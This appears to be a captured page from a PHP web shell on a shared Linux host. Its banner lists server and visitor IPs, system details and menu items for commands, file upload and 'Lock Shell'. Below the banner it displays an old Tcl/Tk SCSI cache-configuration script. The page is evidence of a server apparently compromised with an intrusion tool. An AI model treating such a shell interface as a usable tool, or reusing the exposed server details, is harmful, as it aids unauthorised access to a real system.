hyun.psd; gzuncompress
|
Server IP : 173.236.192.202 / Your IP : 216.73.216.85 Web Server : Apache System : Linux iad1-shared-e1-03 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 User : andfor18 ( 14551322) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib/scsi/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
#!/usr/bin/wish -f
# Copyright 1993 Yggdrasil Computing, Incorporated
# You may copy this file according to the terms and conditions of version 2
# of the GNU General Public License as published by the Free Software
# Foundation.
frame .h
label .h.info -bitmap info -bg pink
message .h.message -width 300 -justify center -bg pink -text \
"Scsi Cache Page configuration - $argv."
pack .h.info .h.message -padx 10 -side left
pack .h -pady 10
message .message -width 300 -justify center -bg red -fg white -text \
"Caution! Do not turn on the write cache unless you know what you are doing."
pack .message -pady 10
source /usr/lib/scsi/generic
set button_list {wrcache rdcache dummy}
set text_list {readret writeret disprefetch minprefetch maxprefetch ceiling}
set switch {-c}
set text_descriptions {"Demand Read Retention Priority " "Demand Write Retention Priority " "Disable Pre-Fetch Transfer Length " "Minimum Pre-Fetch " "Maximum Pre-Fetch " "Maximum Pre-Fetch Ceiling " }
set label_width 35
set text_width 10
frame .f1
generate_textboxes
frame .but
checkbutton .rdcache -text "Read cache enabled"
checkbutton .wrcache -text "Write cache enabled"
checkbutton .dummy -text " "
pack .rdcache .wrcache -in .but -side left -padx 5
pack .but
pack .readret .writeret .disprefetch .minprefetch .maxprefetch .ceiling -in .f1 -pady 10 -anchor w
pack .f1 -side left -padx 3m -pady 3m
read_page $argv "-X"
read_modifiable $argv